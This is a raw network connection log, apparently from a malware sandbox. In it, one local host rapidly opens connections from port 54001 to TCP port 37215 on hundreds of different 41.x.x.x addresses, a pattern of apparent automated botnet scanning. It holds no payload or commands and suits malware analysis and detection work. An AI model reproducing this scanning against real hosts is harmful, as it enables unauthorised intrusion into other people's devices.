Feb 19, 2024 18:35:39.501071930 CET	54001	37215	192.168.2.23	41.207.207.73
Feb 19, 2024 18:35:39.501072884 CET	54001	37215	192.168.2.23	41.64.144.36
Feb 19, 2024 18:35:39.501074076 CET	54001	37215	192.168.2.23	41.66.126.20
Feb 19, 2024 18:35:39.501099110 CET	54001	37215	192.168.2.23	41.17.159.38
Feb 19, 2024 18:35:39.501099110 CET	54001	37215	192.168.2.23	41.99.221.118
Feb 19, 2024 18:35:39.501116991 CET	54001	37215	192.168.2.23	41.58.185.122
Feb 19, 2024 18:35:39.501131058 CET	54001	37215	192.168.2.23	41.25.100.253
Feb 19, 2024 18:35:39.501147985 CET	54001	37215	192.168.2.23	41.145.111.80
Feb 19, 2024 18:35:39.501162052 CET	54001	37215	192.168.2.23	41.178.125.93
Feb 19, 2024 18:35:39.501163960 CET	54001	37215	192.168.2.23	41.16.188.24
Feb 19, 2024 18:35:39.501187086 CET	54001	37215	192.168.2.23	41.10.177.17
Feb 19, 2024 18:35:39.501202106 CET	54001	37215	192.168.2.23	41.250.220.157
Feb 19, 2024 18:35:39.501215935 CET	54001	37215	192.168.2.23	41.127.136.69
Feb 19, 2024 18:35:39.501218081 CET	54001	37215	192.168.2.23	41.177.147.211
Feb 19, 2024 18:35:39.501233101 CET	54001	37215	192.168.2.23	41.165.233.162
Feb 19, 2024 18:35:39.501233101 CET	54001	37215	192.168.2.23	41.114.7.9
Feb 19, 2024 18:35:39.501254082 CET	54001	37215	192.168.2.23	41.222.19.208
Feb 19, 2024 18:35:39.501266003 CET	54001	37215	192.168.2.23	41.200.55.2
Feb 19, 2024 18:35:39.501276970 CET	54001	37215	192.168.2.23	41.139.95.128
Feb 19, 2024 18:35:39.501292944 CET	54001	37215	192.168.2.23	41.211.60.140
Feb 19, 2024 18:35:39.501298904 CET	54001	37215	192.168.2.23	41.64.214.154
Feb 19, 2024 18:35:39.501311064 CET	54001	37215	192.168.2.23	41.124.50.90
Feb 19, 2024 18:35:39.501319885 CET	54001	37215	192.168.2.23	41.231.43.233
Feb 19, 2024 18:35:39.501332045 CET	54001	37215	192.168.2.23	41.181.242.233
Feb 19, 2024 18:35:39.501348019 CET	54001	37215	192.168.2.23	41.69.99.27
Feb 19, 2024 18:35:39.501353025 CET	54001	37215	192.168.2.23	41.130.127.47
Feb 19, 2024 18:35:39.501367092 CET	54001	37215	192.168.2.23	41.14.73.159
Feb 19, 2024 18:35:39.501373053 CET	54001	37215	192.168.2.23	41.37.10.241
Feb 19, 2024 18:35:39.501384020 CET	54001	37215	192.168.2.23	41.130.253.132
Feb 19, 2024 18:35:39.501394987 CET	54001	37215	192.168.2.23	41.13.123.150
Feb 19, 2024 18:35:39.501414061 CET	54001	37215	192.168.2.23	41.30.229.145
Feb 19, 2024 18:35:39.501429081 CET	54001	37215	192.168.2.23	41.237.155.230
Feb 19, 2024 18:35:39.501430988 CET	54001	37215	192.168.2.23	41.80.152.44
Feb 19, 2024 18:35:39.501440048 CET	54001	37215	192.168.2.23	41.79.207.70
Feb 19, 2024 18:35:39.501451015 CET	54001	37215	192.168.2.23	41.105.111.45
Feb 19, 2024 18:35:39.501465082 CET	54001	37215	192.168.2.23	41.233.61.231
Feb 19, 2024 18:35:39.501465082 CET	54001	37215	192.168.2.23	41.38.61.187
Feb 19, 2024 18:35:39.501492023 CET	54001	37215	192.168.2.23	41.15.127.52
Feb 19, 2024 18:35:39.501506090 CET	54001	37215	192.168.2.23	41.196.242.199
Feb 19, 2024 18:35:39.501516104 CET	54001	37215	192.168.2.23	41.177.12.251
Feb 19, 2024 18:35:39.501526117 CET	54001	37215	192.168.2.23	41.190.57.77
Feb 19, 2024 18:35:39.501538038 CET	54001	37215	192.168.2.23	41.129.70.130
Feb 19, 2024 18:35:39.501544952 CET	54001	37215	192.168.2.23	41.38.152.41
Feb 19, 2024 18:35:39.501552105 CET	54001	37215	192.168.2.23	41.202.66.248
Feb 19, 2024 18:35:39.501570940 CET	54001	37215	192.168.2.23	41.162.63.45
Feb 19, 2024 18:35:39.501573086 CET	54001	37215	192.168.2.23	41.14.114.240
Feb 19, 2024 18:35:39.501585960 CET	54001	37215	192.168.2.23	41.0.221.145
Feb 19, 2024 18:35:39.501596928 CET	54001	37215	192.168.2.23	41.58.49.137
Feb 19, 2024 18:35:39.501605988 CET	54001	37215	192.168.2.23	41.122.142.137
Feb 19, 2024 18:35:39.501615047 CET	54001	37215	192.168.2.23	41.165.85.242
Feb 19, 2024 18:35:39.501630068 CET	54001	37215	192.168.2.23	41.243.118.184
Feb 19, 2024 18:35:39.501645088 CET	54001	37215	192.168.2.23	41.167.114.135
Feb 19, 2024 18:35:39.501669884 CET	54001	37215	192.168.2.23	41.126.172.118
Feb 19, 2024 18:35:39.501672029 CET	54001	37215	192.168.2.23	41.198.154.8
Feb 19, 2024 18:35:39.501696110 CET	54001	37215	192.168.2.23	41.116.16.231
Feb 19, 2024 18:35:39.501699924 CET	54001	37215	192.168.2.23	41.199.207.186
Feb 19, 2024 18:35:39.501715899 CET	54001	37215	192.168.2.23	41.239.217.252
Feb 19, 2024 18:35:39.501723051 CET	54001	37215	192.168.2.23	41.153.169.128
Feb 19, 2024 18:35:39.501739025 CET	54001	37215	192.168.2.23	41.114.106.12
Feb 19, 2024 18:35:39.501739025 CET	54001	37215	192.168.2.23	41.161.68.116
Feb 19, 2024 18:35:39.501755953 CET	54001	37215	192.168.2.23	41.234.104.25
Feb 19, 2024 18:35:39.501775980 CET	54001	37215	192.168.2.23	41.232.244.2
Feb 19, 2024 18:35:39.501780033 CET	54001	37215	192.168.2.23	41.154.43.154
Feb 19, 2024 18:35:39.501780033 CET	54001	37215	192.168.2.23	41.135.177.171
Feb 19, 2024 18:35:39.501796007 CET	54001	37215	192.168.2.23	41.23.52.254
Feb 19, 2024 18:35:39.501810074 CET	54001	37215	192.168.2.23	41.78.69.227
Feb 19, 2024 18:35:39.501828909 CET	54001	37215	192.168.2.23	41.21.78.159
Feb 19, 2024 18:35:39.501830101 CET	54001	37215	192.168.2.23	41.249.199.239
Feb 19, 2024 18:35:39.501843929 CET	54001	37215	192.168.2.23	41.181.191.104
Feb 19, 2024 18:35:39.501857996 CET	54001	37215	192.168.2.23	41.113.229.95
Feb 19, 2024 18:35:39.501864910 CET	54001	37215	192.168.2.23	41.228.90.107
Feb 19, 2024 18:35:39.501883030 CET	54001	37215	192.168.2.23	41.117.219.196
Feb 19, 2024 18:35:39.501890898 CET	54001	37215	192.168.2.23	41.212.50.70
Feb 19, 2024 18:35:39.501904964 CET	54001	37215	192.168.2.23	41.247.196.197
Feb 19, 2024 18:35:39.501904964 CET	54001	37215	192.168.2.23	41.110.199.69
Feb 19, 2024 18:35:39.501930952 CET	54001	37215	192.168.2.23	41.237.189.50
Feb 19, 2024 18:35:39.501930952 CET	54001	37215	192.168.2.23	41.108.158.243
Feb 19, 2024 18:35:39.501955032 CET	54001	37215	192.168.2.23	41.70.89.206
Feb 19, 2024 18:35:39.501970053 CET	54001	37215	192.168.2.23	41.46.230.247
Feb 19, 2024 18:35:39.501987934 CET	54001	37215	192.168.2.23	41.230.38.110
Feb 19, 2024 18:35:39.501997948 CET	54001	37215	192.168.2.23	41.171.136.191
Feb 19, 2024 18:35:39.502018929 CET	54001	37215	192.168.2.23	41.147.24.203
Feb 19, 2024 18:35:39.502021074 CET	54001	37215	192.168.2.23	41.106.115.145
Feb 19, 2024 18:35:39.502036095 CET	54001	37215	192.168.2.23	41.171.79.171
Feb 19, 2024 18:35:39.502051115 CET	54001	37215	192.168.2.23	41.82.250.5
Feb 19, 2024 18:35:39.502068996 CET	54001	37215	192.168.2.23	41.167.122.123
Feb 19, 2024 18:35:39.502079010 CET	54001	37215	192.168.2.23	41.62.151.21
Feb 19, 2024 18:35:39.502087116 CET	54001	37215	192.168.2.23	41.214.133.232
Feb 19, 2024 18:35:39.502110004 CET	54001	37215	192.168.2.23	41.213.134.226
Feb 19, 2024 18:35:39.502113104 CET	54001	37215	192.168.2.23	41.222.72.27
Feb 19, 2024 18:35:39.502139091 CET	54001	37215	192.168.2.23	41.177.91.187
Feb 19, 2024 18:35:39.502140999 CET	54001	37215	192.168.2.23	41.123.114.232
Feb 19, 2024 18:35:39.502156019 CET	54001	37215	192.168.2.23	41.84.128.150
Feb 19, 2024 18:35:39.502172947 CET	54001	37215	192.168.2.23	41.102.3.215
Feb 19, 2024 18:35:39.502172947 CET	54001	37215	192.168.2.23	41.158.193.37
Feb 19, 2024 18:35:39.502182007 CET	54001	37215	192.168.2.23	41.222.157.245
Feb 19, 2024 18:35:39.502201080 CET	54001	37215	192.168.2.23	41.234.77.224
Feb 19, 2024 18:35:39.502228975 CET	54001	37215	192.168.2.23	41.173.86.251
Feb 19, 2024 18:35:39.502228975 CET	54001	37215	192.168.2.23	41.58.23.55
Feb 19, 2024 18:35:39.502242088 CET	54001	37215	192.168.2.23	41.119.49.191
Feb 19, 2024 18:35:39.502263069 CET	54001	37215	192.168.2.23	41.211.60.180
Feb 19, 2024 18:35:39.502264977 CET	54001	37215	192.168.2.23	41.97.42.106
Feb 19, 2024 18:35:39.502290010 CET	54001	37215	192.168.2.23	41.176.177.168
Feb 19, 2024 18:35:39.502290010 CET	54001	37215	192.168.2.23	41.74.250.88
Feb 19, 2024 18:35:39.502310991 CET	54001	37215	192.168.2.23	41.76.169.165
Feb 19, 2024 18:35:39.502326965 CET	54001	37215	192.168.2.23	41.132.43.69
Feb 19, 2024 18:35:39.502334118 CET	54001	37215	192.168.2.23	41.159.51.226
Feb 19, 2024 18:35:39.502353907 CET	54001	37215	192.168.2.23	41.229.19.75
Feb 19, 2024 18:35:39.502377033 CET	54001	37215	192.168.2.23	41.20.137.128
Feb 19, 2024 18:35:39.502378941 CET	54001	37215	192.168.2.23	41.166.248.45
Feb 19, 2024 18:35:39.502393007 CET	54001	37215	192.168.2.23	41.244.67.204
Feb 19, 2024 18:35:39.502403975 CET	54001	37215	192.168.2.23	41.197.200.71
Feb 19, 2024 18:35:39.502408028 CET	54001	37215	192.168.2.23	41.251.196.138
Feb 19, 2024 18:35:39.502429962 CET	54001	37215	192.168.2.23	41.176.85.110
Feb 19, 2024 18:35:39.502444029 CET	54001	37215	192.168.2.23	41.60.80.52
Feb 19, 2024 18:35:39.502469063 CET	54001	37215	192.168.2.23	41.48.120.57
Feb 19, 2024 18:35:39.502470016 CET	54001	37215	192.168.2.23	41.248.205.26
Feb 19, 2024 18:35:39.502485037 CET	54001	37215	192.168.2.23	41.189.188.109
Feb 19, 2024 18:35:39.502496958 CET	54001	37215	192.168.2.23	41.228.238.202
Feb 19, 2024 18:35:39.502505064 CET	54001	37215	192.168.2.23	41.250.68.18
Feb 19, 2024 18:35:39.502521038 CET	54001	37215	192.168.2.23	41.29.222.156
Feb 19, 2024 18:35:39.502533913 CET	54001	37215	192.168.2.23	41.130.122.230
Feb 19, 2024 18:35:39.502548933 CET	54001	37215	192.168.2.23	41.62.27.212
Feb 19, 2024 18:35:39.502559900 CET	54001	37215	192.168.2.23	41.121.32.213
Feb 19, 2024 18:35:39.502577066 CET	54001	37215	192.168.2.23	41.64.231.105
Feb 19, 2024 18:35:39.502588987 CET	54001	37215	192.168.2.23	41.8.105.183
Feb 19, 2024 18:35:39.502602100 CET	54001	37215	192.168.2.23	41.52.57.191
Feb 19, 2024 18:35:39.502614021 CET	54001	37215	192.168.2.23	41.239.15.140
Feb 19, 2024 18:35:39.502625942 CET	54001	37215	192.168.2.23	41.168.219.125
Feb 19, 2024 18:35:39.502640009 CET	54001	37215	192.168.2.23	41.141.120.27
Feb 19, 2024 18:35:39.502649069 CET	54001	37215	192.168.2.23	41.3.190.58
Feb 19, 2024 18:35:39.502664089 CET	54001	37215	192.168.2.23	41.155.66.218
Feb 19, 2024 18:35:39.502670050 CET	54001	37215	192.168.2.23	41.74.199.184
Feb 19, 2024 18:35:39.502686024 CET	54001	37215	192.168.2.23	41.36.130.35
Feb 19, 2024 18:35:39.502700090 CET	54001	37215	192.168.2.23	41.9.155.137
Feb 19, 2024 18:35:39.502716064 CET	54001	37215	192.168.2.23	41.136.0.204
Feb 19, 2024 18:35:39.502746105 CET	54001	37215	192.168.2.23	41.57.241.97
Feb 19, 2024 18:35:39.502746105 CET	54001	37215	192.168.2.23	41.104.216.255
Feb 19, 2024 18:35:39.502746105 CET	54001	37215	192.168.2.23	41.39.10.20
Feb 19, 2024 18:35:39.502765894 CET	54001	37215	192.168.2.23	41.140.161.189
Feb 19, 2024 18:35:39.502779961 CET	54001	37215	192.168.2.23	41.136.53.187
Feb 19, 2024 18:35:39.502809048 CET	54001	37215	192.168.2.23	41.165.16.219
Feb 19, 2024 18:35:39.502811909 CET	54001	37215	192.168.2.23	41.214.77.26
Feb 19, 2024 18:35:39.502823114 CET	54001	37215	192.168.2.23	41.198.136.2
Feb 19, 2024 18:35:39.502835989 CET	54001	37215	192.168.2.23	41.226.203.63
Feb 19, 2024 18:35:39.502857924 CET	54001	37215	192.168.2.23	41.12.23.71
Feb 19, 2024 18:35:39.502859116 CET	54001	37215	192.168.2.23	41.110.182.93
Feb 19, 2024 18:35:39.502871037 CET	54001	37215	192.168.2.23	41.55.99.196
Feb 19, 2024 18:35:39.502886057 CET	54001	37215	192.168.2.23	41.207.73.91
Feb 19, 2024 18:35:39.502906084 CET	54001	37215	192.168.2.23	41.34.99.199
Feb 19, 2024 18:35:39.502922058 CET	54001	37215	192.168.2.23	41.99.60.178
Feb 19, 2024 18:35:39.502923012 CET	54001	37215	192.168.2.23	41.46.43.89
Feb 19, 2024 18:35:39.502943039 CET	54001	37215	192.168.2.23	41.125.80.129
Feb 19, 2024 18:35:39.502952099 CET	54001	37215	192.168.2.23	41.233.236.41
Feb 19, 2024 18:35:39.502968073 CET	54001	37215	192.168.2.23	41.190.132.208
Feb 19, 2024 18:35:39.502976894 CET	54001	37215	192.168.2.23	41.103.201.26
Feb 19, 2024 18:35:39.502991915 CET	54001	37215	192.168.2.23	41.10.222.235
Feb 19, 2024 18:35:39.503001928 CET	54001	37215	192.168.2.23	41.227.83.233
Feb 19, 2024 18:35:39.503031015 CET	54001	37215	192.168.2.23	41.85.226.19
Feb 19, 2024 18:35:39.503031015 CET	54001	37215	192.168.2.23	41.165.156.80
Feb 19, 2024 18:35:39.503051043 CET	54001	37215	192.168.2.23	41.188.86.240
Feb 19, 2024 18:35:39.503051043 CET	54001	37215	192.168.2.23	41.211.17.73
Feb 19, 2024 18:35:39.503068924 CET	54001	37215	192.168.2.23	41.34.8.19
Feb 19, 2024 18:35:39.503081083 CET	54001	37215	192.168.2.23	41.76.197.137
Feb 19, 2024 18:35:39.503094912 CET	54001	37215	192.168.2.23	41.175.232.78
Feb 19, 2024 18:35:39.503113985 CET	54001	37215	192.168.2.23	41.31.203.220
Feb 19, 2024 18:35:39.503118038 CET	54001	37215	192.168.2.23	41.34.143.237
Feb 19, 2024 18:35:39.503134966 CET	54001	37215	192.168.2.23	41.89.168.125
Feb 19, 2024 18:35:39.503142118 CET	54001	37215	192.168.2.23	41.161.122.148
Feb 19, 2024 18:35:39.503159046 CET	54001	37215	192.168.2.23	41.114.233.135
Feb 19, 2024 18:35:39.503170967 CET	54001	37215	192.168.2.23	41.126.2.108
Feb 19, 2024 18:35:39.503192902 CET	54001	37215	192.168.2.23	41.60.233.146
Feb 19, 2024 18:35:39.503201008 CET	54001	37215	192.168.2.23	41.92.181.84
Feb 19, 2024 18:35:39.503201008 CET	54001	37215	192.168.2.23	41.12.33.15
Feb 19, 2024 18:35:39.503226042 CET	54001	37215	192.168.2.23	41.33.82.123
Feb 19, 2024 18:35:39.503240108 CET	54001	37215	192.168.2.23	41.135.167.197
Feb 19, 2024 18:35:39.503257036 CET	54001	37215	192.168.2.23	41.238.64.226
Feb 19, 2024 18:35:39.503267050 CET	54001	37215	192.168.2.23	41.173.132.23
Feb 19, 2024 18:35:39.503273964 CET	54001	37215	192.168.2.23	41.133.247.12
Feb 19, 2024 18:35:39.503283978 CET	54001	37215	192.168.2.23	41.70.140.103
Feb 19, 2024 18:35:39.503314018 CET	54001	37215	192.168.2.23	41.164.98.198
Feb 19, 2024 18:35:39.503314972 CET	54001	37215	192.168.2.23	41.81.36.27
Feb 19, 2024 18:35:39.503315926 CET	54001	37215	192.168.2.23	41.193.73.167
Feb 19, 2024 18:35:39.503345013 CET	54001	37215	192.168.2.23	41.253.198.220
Feb 19, 2024 18:35:39.503348112 CET	54001	37215	192.168.2.23	41.130.247.94
Feb 19, 2024 18:35:39.503359079 CET	54001	37215	192.168.2.23	41.190.0.20
Feb 19, 2024 18:35:39.503391027 CET	54001	37215	192.168.2.23	41.197.110.104
Feb 19, 2024 18:35:39.503398895 CET	54001	37215	192.168.2.23	41.11.49.143
Feb 19, 2024 18:35:39.503411055 CET	54001	37215	192.168.2.23	41.232.71.163
Feb 19, 2024 18:35:39.503423929 CET	54001	37215	192.168.2.23	41.174.206.157
Feb 19, 2024 18:35:39.503423929 CET	54001	37215	192.168.2.23	41.110.235.206
Feb 19, 2024 18:35:39.503442049 CET	54001	37215	192.168.2.23	41.17.138.60
Feb 19, 2024 18:35:39.503464937 CET	54001	37215	192.168.2.23	41.229.142.29
Feb 19, 2024 18:35:39.503479958 CET	54001	37215	192.168.2.23	41.130.95.233
Feb 19, 2024 18:35:39.503483057 CET	54001	37215	192.168.2.23	41.18.137.67
Feb 19, 2024 18:35:39.503499985 CET	54001	37215	192.168.2.23	41.84.196.223
Feb 19, 2024 18:35:39.503509045 CET	54001	37215	192.168.2.23	41.27.55.125
Feb 19, 2024 18:35:39.503535032 CET	54001	37215	192.168.2.23	41.25.89.122
Feb 19, 2024 18:35:39.503535986 CET	54001	37215	192.168.2.23	41.210.68.148
Feb 19, 2024 18:35:39.503540993 CET	54001	37215	192.168.2.23	41.60.172.130
Feb 19, 2024 18:35:39.503557920 CET	54001	37215	192.168.2.23	41.145.229.44
Feb 19, 2024 18:35:39.503571987 CET	54001	37215	192.168.2.23	41.21.152.146
Feb 19, 2024 18:35:39.503583908 CET	54001	37215	192.168.2.23	41.234.212.52
Feb 19, 2024 18:35:39.503595114 CET	54001	37215	192.168.2.23	41.26.19.180
Feb 19, 2024 18:35:39.503623962 CET	54001	37215	192.168.2.23	41.25.46.179
Feb 19, 2024 18:35:39.503629923 CET	54001	37215	192.168.2.23	41.72.65.225
Feb 19, 2024 18:35:39.503629923 CET	54001	37215	192.168.2.23	41.87.84.191
Feb 19, 2024 18:35:39.503644943 CET	54001	37215	192.168.2.23	41.35.62.233
Feb 19, 2024 18:35:39.503660917 CET	54001	37215	192.168.2.23	41.114.179.90
Feb 19, 2024 18:35:39.503674030 CET	54001	37215	192.168.2.23	41.188.232.187
Feb 19, 2024 18:35:39.503695965 CET	54001	37215	192.168.2.23	41.135.148.61
Feb 19, 2024 18:35:39.503700972 CET	54001	37215	192.168.2.23	41.218.136.231
Feb 19, 2024 18:35:39.503717899 CET	54001	37215	192.168.2.23	41.220.206.0
Feb 19, 2024 18:35:39.503726006 CET	54001	37215	192.168.2.23	41.176.207.95
Feb 19, 2024 18:35:39.503731012 CET	54001	37215	192.168.2.23	41.167.207.120
Feb 19, 2024 18:35:39.503751040 CET	54001	37215	192.168.2.23	41.227.243.52
Feb 19, 2024 18:35:39.503765106 CET	54001	37215	192.168.2.23	41.165.66.150
Feb 19, 2024 18:35:39.503781080 CET	54001	37215	192.168.2.23	41.229.9.228
Feb 19, 2024 18:35:39.503808022 CET	54001	37215	192.168.2.23	41.192.25.200
Feb 19, 2024 18:35:39.503808975 CET	54001	37215	192.168.2.23	41.245.122.79
Feb 19, 2024 18:35:39.503823996 CET	54001	37215	192.168.2.23	41.244.12.13
Feb 19, 2024 18:35:39.503837109 CET	54001	37215	192.168.2.23	41.86.63.243
Feb 19, 2024 18:35:39.503843069 CET	54001	37215	192.168.2.23	41.99.214.38
Feb 19, 2024 18:35:39.503865004 CET	54001	37215	192.168.2.23	41.27.95.150
Feb 19, 2024 18:35:39.503866911 CET	54001	37215	192.168.2.23	41.186.138.218
Feb 19, 2024 18:35:39.503880978 CET	54001	37215	192.168.2.23	41.222.191.158
Feb 19, 2024 18:35:39.503895998 CET	54001	37215	192.168.2.23	41.120.196.242
Feb 19, 2024 18:35:39.503906965 CET	54001	37215	192.168.2.23	41.193.165.248
Feb 19, 2024 18:35:39.503921986 CET	54001	37215	192.168.2.23	41.52.82.219
Feb 19, 2024 18:35:39.503936052 CET	54001	37215	192.168.2.23	41.217.119.240
Feb 19, 2024 18:35:39.503956079 CET	54001	37215	192.168.2.23	41.213.49.129
Feb 19, 2024 18:35:39.503961086 CET	54001	37215	192.168.2.23	41.187.199.185
Feb 19, 2024 18:35:39.503978014 CET	54001	37215	192.168.2.23	41.25.201.50
Feb 19, 2024 18:35:39.503987074 CET	54001	37215	192.168.2.23	41.143.252.217
Feb 19, 2024 18:35:39.504000902 CET	54001	37215	192.168.2.23	41.198.140.67
Feb 19, 2024 18:35:39.504018068 CET	54001	37215	192.168.2.23	41.25.118.61
Feb 19, 2024 18:35:39.504026890 CET	54001	37215	192.168.2.23	41.138.150.185
Feb 19, 2024 18:35:39.504035950 CET	54001	37215	192.168.2.23	41.198.70.81
Feb 19, 2024 18:35:39.504053116 CET	54001	37215	192.168.2.23	41.106.187.141
Feb 19, 2024 18:35:39.504064083 CET	54001	37215	192.168.2.23	41.147.252.185
Feb 19, 2024 18:35:39.504075050 CET	54001	37215	192.168.2.23	41.206.4.224
Feb 19, 2024 18:35:39.504090071 CET	54001	37215	192.168.2.23	41.203.103.35
Feb 19, 2024 18:35:39.504113913 CET	54001	37215	192.168.2.23	41.139.93.169
Feb 19, 2024 18:35:39.504123926 CET	54001	37215	192.168.2.23	41.118.116.20
Feb 19, 2024 18:35:39.504123926 CET	54001	37215	192.168.2.23	41.97.172.118
Feb 19, 2024 18:35:39.504139900 CET	54001	37215	192.168.2.23	41.9.235.115
Feb 19, 2024 18:35:39.504153967 CET	54001	37215	192.168.2.23	41.50.173.60
Feb 19, 2024 18:35:39.504169941 CET	54001	37215	192.168.2.23	41.134.227.4
Feb 19, 2024 18:35:39.504180908 CET	54001	37215	192.168.2.23	41.201.75.170
Feb 19, 2024 18:35:39.504189014 CET	54001	37215	192.168.2.23	41.157.82.230
Feb 19, 2024 18:35:39.504206896 CET	54001	37215	192.168.2.23	41.247.105.203
Feb 19, 2024 18:35:39.504225016 CET	54001	37215	192.168.2.23	41.165.114.166
Feb 19, 2024 18:35:39.504232883 CET	54001	37215	192.168.2.23	41.18.230.193
Feb 19, 2024 18:35:39.504254103 CET	54001	37215	192.168.2.23	41.89.117.244
Feb 19, 2024 18:35:39.504261017 CET	54001	37215	192.168.2.23	41.89.63.195
Feb 19, 2024 18:35:39.504287958 CET	54001	37215	192.168.2.23	41.240.144.150
Feb 19, 2024 18:35:39.504307985 CET	54001	37215	192.168.2.23	41.75.7.33
Feb 19, 2024 18:35:39.504309893 CET	54001	37215	192.168.2.23	41.25.143.116
Feb 19, 2024 18:35:39.504312038 CET	54001	37215	192.168.2.23	41.190.122.78
Feb 19, 2024 18:35:39.504334927 CET	54001	37215	192.168.2.23	41.247.82.73
Feb 19, 2024 18:35:39.504343987 CET	54001	37215	192.168.2.23	41.134.189.32
Feb 19, 2024 18:35:39.504359961 CET	54001	37215	192.168.2.23	41.101.242.6
Feb 19, 2024 18:35:39.504373074 CET	54001	37215	192.168.2.23	41.53.239.43
Feb 19, 2024 18:35:39.504395008 CET	54001	37215	192.168.2.23	41.125.146.125
Feb 19, 2024 18:35:39.504396915 CET	54001	37215	192.168.2.23	41.13.172.174
Feb 19, 2024 18:35:39.504420042 CET	54001	37215	192.168.2.23	41.32.153.159
Feb 19, 2024 18:35:39.504420996 CET	54001	37215	192.168.2.23	41.3.24.70
Feb 19, 2024 18:35:39.504436970 CET	54001	37215	192.168.2.23	41.120.80.229
Feb 19, 2024 18:35:39.504445076 CET	54001	37215	192.168.2.23	41.100.155.80
Feb 19, 2024 18:35:39.504460096 CET	54001	37215	192.168.2.23	41.83.144.241
Feb 19, 2024 18:35:39.504488945 CET	54001	37215	192.168.2.23	41.214.136.31
Feb 19, 2024 18:35:39.504503965 CET	54001	37215	192.168.2.23	41.235.34.52
Feb 19, 2024 18:35:39.504514933 CET	54001	37215	192.168.2.23	41.147.123.231
Feb 19, 2024 18:35:39.504518032 CET	54001	37215	192.168.2.23	41.13.198.150
Feb 19, 2024 18:35:39.504533052 CET	54001	37215	192.168.2.23	41.83.237.105
Feb 19, 2024 18:35:39.504545927 CET	54001	37215	192.168.2.23	41.122.99.55
Feb 19, 2024 18:35:39.504555941 CET	54001	37215	192.168.2.23	41.130.80.209
Feb 19, 2024 18:35:39.504570007 CET	54001	37215	192.168.2.23	41.181.114.44
Feb 19, 2024 18:35:39.504591942 CET	54001	37215	192.168.2.23	41.174.80.113
Feb 19, 2024 18:35:39.504592896 CET	54001	37215	192.168.2.23	41.130.86.167
Feb 19, 2024 18:35:39.504604101 CET	54001	37215	192.168.2.23	41.194.24.132
Feb 19, 2024 18:35:39.504616976 CET	54001	37215	192.168.2.23	41.235.44.61
Feb 19, 2024 18:35:39.504632950 CET	54001	37215	192.168.2.23	41.162.183.190
Feb 19, 2024 18:35:39.504637957 CET	54001	37215	192.168.2.23	41.208.207.234
Feb 19, 2024 18:35:39.504657030 CET	54001	37215	192.168.2.23	41.6.59.247
Feb 19, 2024 18:35:39.504659891 CET	54001	37215	192.168.2.23	41.97.180.249
Feb 19, 2024 18:35:39.504678011 CET	54001	37215	192.168.2.23	41.160.234.244
Feb 19, 2024 18:35:39.504678011 CET	54001	37215	192.168.2.23	41.153.170.181
Feb 19, 2024 18:35:39.504700899 CET	54001	37215	192.168.2.23	41.215.178.152
Feb 19, 2024 18:35:39.504724026 CET	54001	37215	192.168.2.23	41.12.224.43
Feb 19, 2024 18:35:39.504740953 CET	54001	37215	192.168.2.23	41.185.194.232
Feb 19, 2024 18:35:39.504757881 CET	54001	37215	192.168.2.23	41.178.124.226
Feb 19, 2024 18:35:39.504764080 CET	54001	37215	192.168.2.23	41.219.229.236
Feb 19, 2024 18:35:39.504766941 CET	54001	37215	192.168.2.23	41.197.9.177
Feb 19, 2024 18:35:39.504791021 CET	54001	37215	192.168.2.23	41.100.178.193
Feb 19, 2024 18:35:39.504791975 CET	54001	37215	192.168.2.23	41.197.84.155
Feb 19, 2024 18:35:39.504807949 CET	54001	37215	192.168.2.23	41.83.99.129
Feb 19, 2024 18:35:39.504821062 CET	54001	37215	192.168.2.23	41.159.183.151
Feb 19, 2024 18:35:39.504834890 CET	54001	37215	192.168.2.23	41.89.130.209
Feb 19, 2024 18:35:39.504848003 CET	54001	37215	192.168.2.23	41.52.215.222
Feb 19, 2024 18:35:39.504869938 CET	54001	37215	192.168.2.23	41.55.57.106
Feb 19, 2024 18:35:39.504875898 CET	54001	37215	192.168.2.23	41.175.33.97
Feb 19, 2024 18:35:39.504875898 CET	54001	37215	192.168.2.23	41.243.195.239
Feb 19, 2024 18:35:39.504895926 CET	54001	37215	192.168.2.23	41.53.34.10
Feb 19, 2024 18:35:39.504911900 CET	54001	37215	192.168.2.23	41.96.162.247
Feb 19, 2024 18:35:39.504933119 CET	54001	37215	192.168.2.23	41.146.104.240
Feb 19, 2024 18:35:39.504945993 CET	54001	37215	192.168.2.23	41.236.207.89
Feb 19, 2024 18:35:39.504960060 CET	54001	37215	192.168.2.23	41.109.92.175
Feb 19, 2024 18:35:39.504973888 CET	54001	37215	192.168.2.23	41.76.89.147
Feb 19, 2024 18:35:39.504990101 CET	54001	37215	192.168.2.23	41.87.238.66
Feb 19, 2024 18:35:39.504990101 CET	54001	37215	192.168.2.23	41.164.13.85
Feb 19, 2024 18:35:39.505000114 CET	54001	37215	192.168.2.23	41.98.130.63
Feb 19, 2024 18:35:39.505012035 CET	54001	37215	192.168.2.23	41.138.230.167
Feb 19, 2024 18:35:39.505037069 CET	54001	37215	192.168.2.23	41.118.67.67
Feb 19, 2024 18:35:39.505048037 CET	54001	37215	192.168.2.23	41.209.80.253
Feb 19, 2024 18:35:39.505052090 CET	54001	37215	192.168.2.23	41.133.116.129
Feb 19, 2024 18:35:39.505059958 CET	54001	37215	192.168.2.23	41.176.223.21
Feb 19, 2024 18:35:39.505079031 CET	54001	37215	192.168.2.23	41.247.235.96
Feb 19, 2024 18:35:39.505089045 CET	54001	37215	192.168.2.23	41.121.226.118
Feb 19, 2024 18:35:39.505108118 CET	54001	37215	192.168.2.23	41.159.186.209
Feb 19, 2024 18:35:39.505121946 CET	54001	37215	192.168.2.23	41.51.85.139
Feb 19, 2024 18:35:39.505132914 CET	54001	37215	192.168.2.23	41.9.234.176
Feb 19, 2024 18:35:39.505143881 CET	54001	37215	192.168.2.23	41.21.166.253
Feb 19, 2024 18:35:39.505156994 CET	54001	37215	192.168.2.23	41.230.57.129
Feb 19, 2024 18:35:39.505156994 CET	54001	37215	192.168.2.23	41.151.3.218
Feb 19, 2024 18:35:39.505175114 CET	54001	37215	192.168.2.23	41.67.159.181
Feb 19, 2024 18:35:39.505207062 CET	54001	37215	192.168.2.23	41.103.60.167
Feb 19, 2024 18:35:39.505214930 CET	54001	37215	192.168.2.23	41.242.220.161
Feb 19, 2024 18:35:39.505218983 CET	54001	37215	192.168.2.23	41.209.202.80
Feb 19, 2024 18:35:39.505227089 CET	54001	37215	192.168.2.23	41.235.23.139
Feb 19, 2024 18:35:39.505245924 CET	54001	37215	192.168.2.23	41.58.136.158
Feb 19, 2024 18:35:39.505255938 CET	54001	37215	192.168.2.23	41.155.155.240
Feb 19, 2024 18:35:39.505269051 CET	54001	37215	192.168.2.23	41.17.173.224
